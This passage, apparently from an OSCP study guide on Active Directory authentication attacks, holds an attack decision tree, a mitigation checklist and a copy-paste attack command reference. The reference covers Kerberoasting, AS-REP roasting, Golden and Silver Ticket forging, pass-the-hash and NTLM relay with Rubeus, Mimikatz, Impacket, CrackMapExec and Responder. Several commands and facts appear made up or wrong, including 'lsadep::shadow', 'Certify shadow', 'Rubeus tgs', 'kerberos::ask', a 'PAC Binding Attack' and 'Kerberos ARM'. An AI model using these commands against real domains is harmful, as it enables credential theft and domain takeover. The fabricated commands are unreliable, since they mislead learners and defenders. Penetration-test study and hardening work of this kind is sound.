    KERB_CRACK -->|No| ENUM_MORE

    USER_CRED --> ASREP_USER["AS-REP Roasting<br/>(also check as user)"]
    USER_CRED --> DELG_ENUM["Enumerate Delegation<br/>Get-NetComputer -Unconstrained<br/>Get-NetUser -TrustedToAuth"]

    DELG_ENUM --> DELG_TYPE{"Delegation<br/>type?"}
    DELG_TYPE -->|Unconstrained| UNCONST["Unconstrained Delegation<br/>Force DA auth → Dump LSASS<br/>sekurlsa::tickets /export"]
    DELG_TYPE -->|Constrained| CONST["Constrained Delegation<br/>S4U2Self + S4U2Proxy<br/>Rubeus s4u / Mimikatz"]
    DELG_TYPE -->|Resource-Based| RBCD_PATH["RBCD Attack<br/>Create computer → Set RBCD<br/>→ S4U2Proxy to target"]
    DELG_TYPE -->|None| ENUM_MORE

    USER_CRED --> ADCS_CHECK["Check AD CS / ESC<br/>Certify find /vulnscan"]
    ADCS_CHECK --> ADCS_FOUND{"Vulnerable<br/>template?"}
    ADCS_FOUND -->|Yes| ESC_ATTACK["ESC Attack<br/>Certify / pkinit.py<br/>Request forged certificate"]
    ADCS_FOUND -->|No| ENUM_MORE

    USER_CRED --> SHADOW_CHECK["Check Shadow Credentials<br/>WriteProperty on computer accounts"]
    SHADOW_CHECK --> SHADOW_FOUND{"WriteProperty<br/>access?"}
    SHADOW_FOUND -->|Yes| SHADOW_ATTACK["Shadow Credentials<br/>Mimikatz lsadep::shadow<br/>Authenticate with private key"]
    SHADOW_FOUND -->|No| ENUM_MORE

    USER_CRED --> CME_ENUM["CrackMapExec Enumeration<br/>cme smb <target> -u user -p pass<br/>enum departments groups"]

    %% Service account hash path
    START -->|Service account NTLM hash| SVC_HASH["Service Hash Path"]
    SVC_HASH --> SILVER_PATH["Silver Ticket<br/>Mimikatz kerberos::golden<br/>/service:<svc> /target:<host>"]
    SVC_HASH --> S4U_PATH["S4U2Self / S4U2Proxy<br/>If constrained delegation enabled<br/>Rubeus s4u"]

    %% krbtgt hash path
    START -->|krbtgt NTLM hash| KRBTGT["krbtgt Hash Path"]
    KRBTGT --> GOLD_PATH["Gold Ticket<br/>Mimikatz kerberos::golden<br/>/user:Administrator /krbtgt"]
    KRBTGT --> PAC_PATH["PAC Binding Attack<br/>Mimikatz PAC manipulation"]

    %% NTLM hash path
    START -->|NTLM hash (any account)| NTLM["NTLM Hash Path"]
    NTLM --> PTH_PATH["Pass-the-Hash<br/>Impacket psexec.py -hashes<br/>CrackMapExec"]
    NTLM --> OTPH_PATH["Overpass-the-Hash<br/>Mimikatz kerberos::ask<br/>→ kerberos::ptt"]
    NTLM --> RELAY_PATH["NTLM Relay<br/>ntlmrelayx.py<br/>Responder for capture"]

    %% Convergence
    GOT_USER --> USER_CRED
    GOT_HASH --> NTLM
    SVC_CRED --> NTLM
    ESC_ATTACK --> ESC_RESULT["Domain Compromise"]
    SHADOW_ATTACK --> SHADOW_RESULT["Target Account Compromise"]
    GOLD_PATH --> GOLD_RESULT["Full Domain Compromise"]
    UNCONST --> UNCONST_RESULT["Admin TGT Captured"]
    CONST --> CONST_RESULT["Target Service Access"]
    RBCD_PATH --> RBCD_RESULT["Target Machine Compromise"]
    SILVER_PATH --> SILVER_RESULT["Target Service Access"]
    PTH_PATH --> PTH_RESULT["Target Machine Access"]

    %% Styling
    classDef attack fill:#ff6b6b,color:#fff,stroke:#c0392b
    classDef result fill:#27ae60,color:#fff,stroke:#27ae60
    classDef decision fill:#f39c12,color:#fff,stroke:#e67e22
    classDef startend fill:#2c3e50,color:#fff,stroke:#2c3e50

    class START startend
    class ASREP_CHECK,KERB_CHECK,DELG_TYPE,ADCS_FOUND,SHADOW_FOUND,ASREP_CRACK,KERB_CRACK,RESPOND_CATCH decision
    class ESC_RESULT,GOLD_RESULT,GOT_USER,GOT_HASH,SVC_CRED result

Decision Tree Quick Reference

Your Starting Point First Attack to Try Second Attack If All Else Fails
No credentials AS-REP Roasting Responder + NTLM Relay Network enumeration, service exploitation
Domain user Kerberoasting AS-REP Roasting Delegation enumeration, AD CS check
Service account hash Silver Ticket S4U (if delegation enabled) Pass-the-Hash to service host
krbtgt hash Gold Ticket PAC Binding Attack Full domain compromise achieved
NTLM hash Pass-the-Hash Overpass-the-Hash NTLM Relay (if positioned)
WriteProperty on account Shadow Credentials UAC flag manipulation ACL-based attacks

10.10 Complete Mitigation Checklist

Comprehensive mitigation checklist organized by attack category. Use this for defense assessments and hardening recommendations.

Kerberos Attack Mitigations

# Control Implementation Defends Against Priority
1 Enable Kerberos pre-authentication for all accounts Set-ADUser -Identity <user> -Replace @{dontReqPreAuth=$false}; audit with Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} AS-REP Roasting Critical
2 Disable RC4 encryption type GPO: Network security: Configure encryption types allowed for Kerberos → AES128_HMAC_SHA1, AES256_HMAC_SHA1 only Kerberoasting (RC4), AS-REP Roasting (RC4) Critical
3 Use gMSA for all service accounts New-ADServiceAccount -Name <name> -DNSHostName <fqdn>; assign to servers via GPO Kerberoasting (gMSA passwords are 120 chars, auto-rotated) Critical
4 Rotate krbtgt password TWICE after any compromise Set-ADAccountPassword krbtgt -Reset -NewPassword (ConvertTo-SecureString 'ComplexPass!' -AsPlainText -Force); repeat after 10+ hours Gold Ticket (invalidates existing forged TGTs) Critical
5 Implement tiered administration model Separate Tier 0 (DCs), Tier 1 (servers), Tier 2 (workstations); never cross-tier admin Gold Ticket, Silver Ticket, delegation abuse High
6 Enable Kerberos ARM (Account Restriction Mode) Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters\ARMEnabled = 1 PAC manipulation, SID history injection High
7 Set short ticket lifetimes GPO: Kerberos Policy → Max ticket lifetime = 6 hours, Max renewal = 7 days Ticket lifetime abuse, long-lived forged tickets Medium
8 Monitor Kerberos Event IDs SIEM alerts on 4768, 4769, 4771, 4776; alert on etype 23 requests, mass TGS requests All Kerberos attacks (detection) High
9 Remove unnecessary SPNs Audit with Get-ADUser -Filter {servicePrincipalName -ne "$null"}; remove orphaned SPNs Kerberoasting attack surface reduction Medium
10 Force AES encryption for new accounts Domain default: set encryption types via GPO; verify new accounts support AES RC4-based attacks on new accounts Medium

NTLM Attack Mitigations

# Control Implementation Defends Against Priority
1 Disable NTLM where Kerberos is available GPO: Network security: Restrict NTLM → Deny all accounts (with targeted exceptions) Pass-the-Hash, NTLM Relay, NetNTLMv2 Critical
2 Enable SMB Signing on all servers GPO: Microsoft network server: Digitally sign communications (always) = Enabled NTLM Relay over SMB, SMB relay attacks Critical
3 Enable LDAP Signing and Channel Binding GPO: LDAP client: Require channel binding when possible = Enabled; LDAP server: Signing level = Require LDAP relay attacks High
4 Disable LLMNR and NBT-NS GPO: Turn off multicast name resolution = Enabled; disable NetBIOS over TCP/IP in NIC settings LLMNR poisoning, NBT-NS poisoning, Responder attacks Critical
5 Implement NTLM audit policies GPO: Restrict NTLM: Audit NTLM authentication on this machine = All accounts NTLM usage tracking, relay detection High
6 Block NTLM authentication to Domain Controllers GPO: Restrict NTLM: Outbound NTLM authentication → Add all DCs to deny list NTLM auth to DCs (should use Kerberos) High
7 Enable SMB Signing on workstations GPO: Microsoft network client: Digitally sign communications (always) = Enabled SMB relay from workstations Medium

Credential Protection Mitigations

# Control Implementation Defends Against Priority
1 Enable LSA Protection (RunAsPPL) GPO: Run as PPL for LSA = Enabled; or Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1 Mimikatz injection, LSASS credential dumping Critical
2 Enable Credential Guard GPO: Virtual-based Security Mode Configuration = Enabled with UEFI; requires virtualization-based security All LSASS-based credential theft (Mimikatz, procdump) Critical
3 Implement LAPS for local admin passwords Install LAPS GP extension; GPO: Configure password settings → 48+ char, 30-day rotation Local admin password reuse, Pass-the-Hash lateral movement Critical
4 Restrict LSASS access GPO: Restrict secinit.exe = Enabled; SACL on LSASS process object LSASS dumping, credential extraction High
5 Disable WDigest Registry: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 Plaintext password in LSASS memory Critical
6 Implement Privileged Access Workstations (PAWs) Dedicated hardened VMs/physical machines for admin tasks; no browsing, no email Credential theft from admin workstations High
7 Disable Windows Remote Management for unprivileged users GPO: WinRM → Allow unencrypted = Disabled; restrict to authorized users WinRM-based credential attacks Medium

Delegation Attack Mitigations

# Control Implementation Defends Against Priority
1 Disable unconstrained delegation unless absolutely necessary Set-ADComputer -Identity <comp> -Replace @{userAccountControl=...}; remove TRUSTED_FOR_DELEGATION flag Unconstrained Delegation abuse Critical
2 Use constrained delegation instead of unconstrained Configure msDS-AllowedToDelegateTo with specific SPNs only Unconstrained Delegation (reduction to constrained) High
3 Use Resource-Based Constrained Delegation Configure msDS-AllowedToActOnBehalfOfOtherIdentity on target; restrict who can modify RBCD abuse (when properly ACL-protected) High
4 Restrict computer account creation GPO: Computer Browser: Maximum number of computer names → reduce from 10; ACL on OU to restrict CreateChild RBCD (attacker-created computer accounts) High
5 Audit delegation configurations regularly Script: Get-ADComputer -Filter {userAccountControl -band 0x00080000}; Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} All delegation attacks (detection) Medium
6 Restrict who can modify delegation attributes ACL: Remove WriteProperty on msDS-AllowedToDelegateTo and msDS-AllowedToActOnBehalfOfOtherIdentity for non-admins RBCD, constrained delegation manipulation High

AD CS / Certificate Attack Mitigations

# Control Implementation Defends Against Priority
1 Audit all certificate templates Run Certify.exe find /vulnscan regularly; review all enabled templates ESC1-ESC8 misconfigurations Critical
2 Remove ENROLLEE_SUPPLIES_SUBJECT from non-admin templates Certificate Template Manager → Properties → Subject Name → “Computed by CA” ESC2 (subject field manipulation) Critical
3 Restrict enrollment rights Remove Authenticated Users enrollment on sensitive templates; use specific security groups ESC1 (any-user enrollment) Critical
4 Require manager approval for sensitive templates Certificate Template Manager → Issuance Requirements → “Require manager approval” ESC1, ESC2 (unauthorized certificate issuance) High
5 Disable HTTP Certificate Enrollment if not needed IIS Manager → Remove certsrv virtual directory; or disable Web Enrollment on CA ESC6, ESC8 (web enrollment attacks) High
6 Restrict who can modify certificate templates ACL on template objects: only Enterprise Admins can modify ESC5 (template modification) High
7 Monitor for ESC misconfigurations Automated scanning with Certify; SIEM alerts on certificate issuance events All ESC attacks (detection) Medium
8 Disable EDP (Enrollment Agent Controls) abuse Configure msPKI-Enrollment-Flag to require EA controls; restrict Certificate Templates property ESC7, ESC10 (EA abuse) Medium

Shadow Credentials Mitigations

# Control Implementation Defends Against Priority
1 Restrict WriteProperty on computer accounts ACL: Remove WriteProperty for Authenticated Users on computer objects; restrict to admins only Shadow Credentials, RBCD Critical
2 Monitor msDS-KeyCredentialLink changes SIEM alert on Event 5136 with attribute msDS-KeyCredentialLink Shadow Credentials (detection) High
3 Audit key credential link modifications Script: Get-ADComputer -Filter * -Properties msDS-KeyCredentialLink | Where {$_.msDS-KeyCredentialLink} Shadow Credentials (detection) Medium

General AD Hardening

# Control Implementation Defends Against Priority
1 Implement least-privilege access model Regular ACL audits; remove excessive permissions; use just-enough-administration (JEA) All privilege escalation attacks Critical
2 Enable Advanced Audit Policy GPO: Audit Policy → Enable Kerberos, Account Logon, Directory Service Access, Object Access All attacks (comprehensive detection) Critical
3 Deploy SIEM with AD-specific rules Splunk/ELK/Sentinel with AD monitoring dashboards; Sigma rules for AD attacks All attacks (centralized detection) High
4 Regular AD health assessments Monthly: dcdiag, repadmin, ACL audits, delegation reviews, template audits All attacks (proactive defense) High
5 Network segmentation Isolate DCs in separate VLAN; restrict access to AD ports (88, 389, 445, 636) Network-based attacks, NTLM relay High
6 Disable unused protocols Disable SMBv1, LDAP signing exceptions, unencrypted RPC Legacy protocol attacks Medium

10.11 Attack Command Quick Reference

Frequently-used commands organized by attack type. Copy-paste ready for lab practice.

Kerberoasting

# Rubeus - enumerate and extract
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /outfile:tickets.kerberoast
Rubeus.exe kerberoast /spn:MSSQLSvc/sql.domain.com:1433 /outfile:sql_ticket.hash

# Impacket - enumerate and extract
python3 GetUserSPNs.py domain.com/user:password -request -dc-ip 10.10.10.10
python3 GetUserSPNs.py domain.com/user:password -request-from SPN -dc-ip 10.10.10.10

# Hashcat - crack
hashcat -m 13100 -O tickets.kerberoast rockyou.txt
hashcat -m 19600 tickets.kerberoast rockyou.txt

AS-REP Roasting

# Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asreproast.hashcat
Rubeus.exe asreproast /format:john /outfile:asreproast.john

# Impacket
python3 GetNPUsers.py domain.com/ -usersfile targets.txt -format hashcat -outputfile asreproast.hash
python3 GetNPUsers.py domain.com/targetuser -no-pass -format hashcat

# Kerbrute
kerbrute asreproast -d domain.com -users usernames.txt -o asreproast_output.txt

# Hashcat - crack
hashcat -m 18200 -O asreproast.hashcat rockyou.txt

Silver Ticket

# Mimikatz
kerberos::golden /sid:S-1-5-21-xxx-xxx-xxx /rc4:<service_hash> /target:<hostname> /service:<service> /user:<attacker> /domain:<domain> /ptt

# Rubeus
Rubeus.exe tgs /rc4:<service_hash> /service:cifs /target:fileserver.domain.com /domain:domain.com /user:attacker /ptt

Gold Ticket

# Mimikatz
kerberos::golden /user:Administrator /sid:S-1-5-21-xxx-xxx-xxx /rc4:<krbtgt_hash> /krbtgt /domain:domain.com /id:500 /groups:512,513,518,519,520,521,526 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Rubeus
Rubeus.exe golden /user:Administrator /rc4:<krbtgt_hash> /sid:<domain_sid> /domain:domain.com /ptt

Pass-the-Hash

# Impacket
python3 psexec.py -hashes :<ntlm_hash> domain.com/user@target.ip

# CrackMapExec
crackmapexec smb target.ip -u user -H <ntlm_hash>
crackmapexec smb target.ip -u user -H <ntlm_hash> -x 'whoami'

NTLM Relay

# Responder (capture)
python3 Responder.py -I eth0 -w -r -P

# ntlmrelayx (relay)
python3 ntlmrelayx.py -t smb://target.ip --no-http-ssl -smb2support
python3 ntlmrelayx.py -t ldap://dc.ip -escalate-user <user>

Delegation Enumeration

# Unconstrained delegation
Get-NetComputer -Unconstrained
Get-ADComputer -Filter 'userAccountControl -band 524288'

# Constrained delegation
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# RBCD
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
    Where-Object { $_.msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null }

Shadow Credentials

# Mimikatz - create shadow credential
lsadep::shadow /create /nuser:TARGETPC$ /domain:domain.com

# Mimikatz - authenticate with shadow credential
lsadep::shadow /connect:targetpc.domain.com /nuser:TARGETPC$

# Certify
Certify.exe shadow /nuser:TARGETPC$

10.12 OSCP Exam Quick Tips

Priority Order for AD Authentication Attacks

When you gain domain access on an OSCP box, follow this order:

  1. AS-REP Roasting (no creds needed) → GetNPUsers.py -no-pass
  2. Kerberoasting (any domain user) → Rubeus kerberoast /stats
  3. Check for delegation → Get-NetComputer -Unconstrained
  4. Check for AD CS → Certify find /vulnscan
  5. Check for Shadow Credentials → Look for WriteProperty on computer accounts
  6. LSASS dumping (if local admin) → sekurlsa::logonpasswords
  7. DCSync (if DA or DCSync rights) → dcsync /user:krbtgt

Common OSCP Pitfalls

Pitfall Solution
Forgetting to crack Kerberoast hashes with the correct mode Check the hash prefix: $krb5tgs$23$ → mode 13100, $krb5tgs$17/18$ → mode 19600
Using Pass-the-Hash against Kerberos-only services Use Overpass-the-Hash or Pass-the-Ticket instead
Not checking both RC4 and AES Kerberoast hashes Run both hashcat -m 13100 and hashcat -m 19600
Forgetting the /ptt flag in Mimikatz Always add /ptt to inject the ticket into the current session
Silver Ticket vs Gold Ticket confusion Silver = service account hash (one service); Gold = krbtgt hash (all services)
Not rotating krbtgt twice after Gold Ticket detection First rotation invalidates old tickets after old TGT lifetime; second rotation clears the old krbtgt hash from all TGTs

Essential Tools to Have Ready

Tool Purpose Platform
Rubeus Kerberos enumeration, ticket extraction, Kerberoasting, AS-REP Roasting, S4U Windows (.exe)
Mimikatz Credential dumping, ticket forging (Gold/Silver), Pass-the-Hash, Shadow Credentials Windows/Linux
Impacket GetUserSPNs.py, GetNPUsers.py, psexec.py, getST.py, rbcd.py, addcomputer.py Linux/Python
Hashcat Hash cracking (all AD hash modes) Linux/Windows
CrackMapExec SMB enumeration, Pass-the-Hash, service exploitation Linux/Python
Certify AD CS enumeration, ESC vulnerability detection, Shadow Credentials Windows (.exe)
Kerbrute Kerberos brute force, AS-REP Roasting Linux/Windows
Responder LLMNR/NBT-NS poisoning, NTLM capture Linux/Python
PowerView AD enumeration, delegation discovery, SPN listing Windows (PowerShell)

This quick reference chapter consolidates all essential tables, decision trees, and checklists for Active Directory authentication attacks. Keep this handy during OSCP lab practice and exam. Each table is designed for quick lookup — use the OSCP Exam Relevance notes to prioritize your study focus.